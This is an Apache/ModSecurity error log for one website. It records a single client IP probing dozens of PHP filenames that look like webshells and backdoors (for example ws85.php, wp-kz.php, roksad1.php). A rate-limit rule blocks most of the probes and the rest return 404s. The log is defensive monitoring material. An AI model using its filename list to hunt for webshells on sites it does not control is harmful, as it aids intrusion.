[Mon Apr 13 00:39:37.833136 2026] [:error] [pid 60280:tid 60296] [client 20.251.15.206:48024] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "advKyXBlLnDOYuIykkhGnwAAAc4"]
[Mon Apr 13 00:39:38.976157 2026] [:error] [pid 25327:tid 25354] [client 20.251.15.206:58127] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "advKyi6h2tZEVJo9JFI-9AAAABI"]
[Mon Apr 13 00:39:39.857533 2026] [:error] [pid 26567:tid 26572] [client 20.251.15.206:58119] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "advKy3hRpg6ptWFyFx3qegAAAQM"]
[Mon Apr 13 00:39:41.223830 2026] [:error] [pid 60280:tid 60299] [client 20.251.15.206:5575] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "advKzXBlLnDOYuIykkhGrgAAAdE"]
[Mon Apr 13 00:39:42.316954 2026] [:error] [pid 60280:tid 60294] [client 20.251.15.206:45257] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/roksad1.php"] [unique_id "advKznBlLnDOYuIykkhGsgAAAcw"]
[Mon Apr 13 00:39:44.636916 2026] [:error] [pid 25329:tid 25397] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/roksad1.php
[Mon Apr 13 00:39:44.986198 2026] [:error] [pid 25329:tid 25384] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Mon Apr 13 00:39:45.245044 2026] [:error] [pid 25329:tid 25390] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Mon Apr 13 00:39:46.240191 2026] [:error] [pid 25329:tid 25414] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Apr 13 00:39:46.498627 2026] [:error] [pid 25329:tid 25406] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Mon Apr 13 00:39:46.757633 2026] [:error] [pid 25329:tid 25386] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Mon Apr 13 00:39:47.016147 2026] [:error] [pid 25329:tid 25409] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Mon Apr 13 00:39:47.275468 2026] [:error] [pid 25329:tid 25411] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Mon Apr 13 00:39:47.534274 2026] [:error] [pid 25329:tid 25381] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/maxro.php
[Mon Apr 13 00:39:48.171729 2026] [:error] [pid 25329:tid 25376] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Mon Apr 13 00:39:48.547686 2026] [:error] [pid 25329:tid 25382] [client 20.251.15.206:47966] File does not exist: /usr/local/apache/htdocs/suspended-page/1s7y8wt9dz.php
[Mon Apr 13 00:39:48.805041 2026] [:error] [pid 25329:tid 25388] [client 20.251.15.206:47966] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "advK1GdcIYsS8Iyaj13_XgAAAIc"]
[Mon Apr 13 00:39:50.536070 2026] [:error] [pid 25327:tid 25350] [client 20.251.15.206:5297] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "advK1i6h2tZEVJo9JFI_AgAAAA4"]
[Mon Apr 13 00:39:52.136415 2026] [:error] [pid 60280:tid 60282] [client 20.251.15.206:50740] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "advK2HBlLnDOYuIykkhGvAAAAcA"]
[Mon Apr 13 00:39:53.762754 2026] [:error] [pid 25437:tid 25448] [client 20.251.15.206:62218] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bdktk.php"] [unique_id "advK2Xf97wYZje1ep_OgfAAAAMk"]
[Mon Apr 13 00:39:55.467779 2026] [:error] [pid 25327:tid 25360] [client 20.251.15.206:54220] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "advK2y6h2tZEVJo9JFI_FAAAABg"]
[Mon Apr 13 00:39:57.192934 2026] [:error] [pid 60280:tid 60293] [client 20.251.15.206:59642] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "advK3XBlLnDOYuIykkhGyAAAAcs"]
[Mon Apr 13 00:39:59.887734 2026] [:error] [pid 25327:tid 25342] [client 20.251.15.206:53328] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "advK3y6h2tZEVJo9JFI_GAAAAAY"]
[Mon Apr 13 00:40:01.978955 2026] [:error] [pid 25327:tid 25346] [client 20.251.15.206:50947] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v5.php"] [unique_id "advK4S6h2tZEVJo9JFI_HQAAAAo"]
[Mon Apr 13 00:40:03.330711 2026] [:error] [pid 25328:tid 25368] [client 20.251.15.206:62317] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "advK48xUaQZxT-e0YsCZfAAAAEQ"]
[Mon Apr 13 00:40:04.342916 2026] [:error] [pid 26567:tid 26586] [client 20.251.15.206:62324] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "advK5HhRpg6ptWFyFx3qiAAAARE"]
[Mon Apr 13 00:40:05.891121 2026] [:error] [pid 60280:tid 60291] [client 20.251.15.206:59509] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "advK5XBlLnDOYuIykkhG3QAAAck"]
[Mon Apr 13 00:40:06.754302 2026] [:error] [pid 60280:tid 60304] [client 20.251.15.206:5651] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "advK5nBlLnDOYuIykkhG4gAAAdY"]
[Mon Apr 13 00:40:07.535706 2026] [:error] [pid 25329:tid 25399] [client 20.251.15.206:52208] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "advK52dcIYsS8Iyaj13_bAAAAI0"]
[Mon Apr 13 00:40:08.822687 2026] [:error] [pid 60280:tid 60293] [client 20.251.15.206:59460] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "advK6HBlLnDOYuIykkhG5wAAAcs"]
[Mon Apr 13 00:40:10.568471 2026] [:error] [pid 60280:tid 60293] [client 20.251.15.206:41791] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "advK6nBlLnDOYuIykkhG9AAAAcs"]
[Mon Apr 13 00:40:12.400063 2026] [:error] [pid 60280:tid 60306] [client 20.251.15.206:40936] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "advK7HBlLnDOYuIykkhG-wAAAdg"]
[Mon Apr 13 00:40:16.254019 2026] [:error] [pid 60280:tid 60294] [client 20.251.15.206:5828] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "advK8HBlLnDOYuIykkhHBAAAAcw"]
[Mon Apr 13 00:40:18.686918 2026] [:error] [pid 60280:tid 60282] [client 20.251.15.206:57599] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "advK8nBlLnDOYuIykkhHEAAAAcA"]
[Mon Apr 13 00:40:21.103362 2026] [:error] [pid 25329:tid 25402] [client 20.251.15.206:43336] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "advK9WdcIYsS8Iyaj13_cQAAAI8"]
[Mon Apr 13 00:40:23.315310 2026] [:error] [pid 25328:tid 25370] [client 20.251.15.206:57513] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "advK98xUaQZxT-e0YsCZigAAAEY"]
[Mon Apr 13 00:40:24.524584 2026] [:error] [pid 25329:tid 25400] [client 20.251.15.206:57104] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "advK-GdcIYsS8Iyaj13_dAAAAI4"]
[Mon Apr 13 00:40:25.447490 2026] [:error] [pid 25329:tid 25404] [client 20.251.15.206:56882] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "advK-WdcIYsS8Iyaj13_dwAAAJA"]
[Mon Apr 13 00:40:26.554156 2026] [:error] [pid 25328:tid 25364] [client 20.251.15.206:55528] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "advK-sxUaQZxT-e0YsCZjwAAAEA"]
[Mon Apr 13 00:40:27.468292 2026] [:error] [pid 26567:tid 26573] [client 20.251.15.206:56473] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r2.php"] [unique_id "advK-3hRpg6ptWFyFx3qlQAAAQQ"]
[Mon Apr 13 00:40:28.264701 2026] [:error] [pid 25328:tid 25401] [client 20.251.15.206:42824] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "advK_MxUaQZxT-e0YsCZkgAAAFU"]
[Mon Apr 13 00:40:29.144823 2026] [:error] [pid 25327:tid 25350] [client 20.251.15.206:48421] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "advK_S6h2tZEVJo9JFI_SgAAAA4"]
[Mon Apr 13 00:40:29.957973 2026] [:error] [pid 26567:tid 26593] [client 20.251.15.206:53563] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "advK_XhRpg6ptWFyFx3qmAAAARg"]
[Mon Apr 13 00:40:30.981088 2026] [:error] [pid 25328:tid 25375] [client 20.251.15.206:46405] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "advK_sxUaQZxT-e0YsCZmAAAAEk"]
[Mon Apr 13 00:40:31.911463 2026] [:error] [pid 25328:tid 25364] [client 20.251.15.206:42821] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "advK_8xUaQZxT-e0YsCZmgAAAEA"]
[Mon Apr 13 00:40:32.663561 2026] [:error] [pid 25328:tid 25365] [client 20.251.15.206:53554] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "advLAMxUaQZxT-e0YsCZnAAAAEE"]
[Mon Apr 13 00:40:34.215364 2026] [:error] [pid 26567:tid 26570] [client 20.251.15.206:42059] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "advLAnhRpg6ptWFyFx3qmgAAAQE"]
[Mon Apr 13 00:40:37.034437 2026] [:error] [pid 26599:tid 26619] [client 20.251.15.206:42160] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "advLBXG89LXoQbk_rwD_egAAAVE"]
[Mon Apr 13 00:40:42.615756 2026] [:error] [pid 26600:tid 26647] [client 20.251.15.206:55239] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/samll.php"] [unique_id "advLCu1YwAZiXhQKLYqCMQAAAZI"]
[Mon Apr 13 00:40:49.241370 2026] [:error] [pid 25328:tid 25383] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/samll.php
[Mon Apr 13 00:40:49.501529 2026] [:error] [pid 25328:tid 25380] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/zogy1.php
[Mon Apr 13 00:40:49.777724 2026] [:error] [pid 25328:tid 25365] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/aios-bootstrap.php
[Mon Apr 13 00:40:50.051497 2026] [:error] [pid 25328:tid 25379] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Mon Apr 13 00:40:50.337819 2026] [:error] [pid 25328:tid 25394] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/gz.php
[Mon Apr 13 00:40:50.631810 2026] [:error] [pid 25328:tid 25387] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Mon Apr 13 00:40:55.322005 2026] [:error] [pid 25328:tid 25375] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/areak1.php
[Mon Apr 13 00:40:55.597203 2026] [:error] [pid 25328:tid 25391] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/qqa.php
[Mon Apr 13 00:40:55.865732 2026] [:error] [pid 25328:tid 25385] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Mon Apr 13 00:40:56.146870 2026] [:error] [pid 25328:tid 25364] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/ga.php
[Mon Apr 13 00:40:56.405788 2026] [:error] [pid 25328:tid 25369] [client 20.251.15.206:51776] File does not exist: /usr/local/apache/htdocs/suspended-page/xozx.php
[Mon Apr 13 00:40:56.686185 2026] [:error] [pid 25328:tid 25368] [client 20.251.15.206:51776] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "advLGMxUaQZxT-e0YsCZyAAAAEQ"]
[Mon Apr 13 00:41:09.371661 2026] [:error] [pid 26600:tid 26652] [client 20.251.15.206:42496] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "advLJe1YwAZiXhQKLYqCWwAAAZc"]
[Mon Apr 13 00:41:33.667904 2026] [:error] [pid 25327:tid 25347] [client 20.251.15.206:56749] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "advLPS6h2tZEVJo9JFI_twAAAAs"]
[Mon Apr 13 00:41:37.320008 2026] [:error] [pid 60280:tid 60296] [client 20.251.15.206:55383] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "advLQXBlLnDOYuIykkhHxQAAAc4"]
[Mon Apr 13 00:41:41.173295 2026] [:error] [pid 25327:tid 25359] [client 20.251.15.206:46446] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "advLRS6h2tZEVJo9JFI_wwAAABc"]
[Mon Apr 13 00:41:42.803277 2026] [:error] [pid 60280:tid 60287] [client 20.251.15.206:51823] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "advLRnBlLnDOYuIykkhH7AAAAcU"]
[Mon Apr 13 00:41:45.321519 2026] [:error] [pid 60280:tid 60282] [client 20.251.15.206:47281] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "advLSXBlLnDOYuIykkhH9gAAAcA"]
[Mon Apr 13 00:41:47.665491 2026] [:error] [pid 26600:tid 26635] [client 20.251.15.206:59841] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "advLS-1YwAZiXhQKLYqCeAAAAYY"]
[Mon Apr 13 00:41:48.829856 2026] [:error] [pid 25327:tid 25345] [client 20.251.15.206:5765] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "advLTC6h2tZEVJo9JFI_1AAAAAk"]
[Mon Apr 13 00:41:50.657634 2026] [:error] [pid 60280:tid 60288] [client 20.251.15.206:55371] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "advLTnBlLnDOYuIykkhIFAAAAcY"]
[Mon Apr 13 00:41:54.294475 2026] [:error] [pid 60280:tid 60290] [client 20.251.15.206:56741] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lo.php"] [unique_id "advLUnBlLnDOYuIykkhIJAAAAcg"]
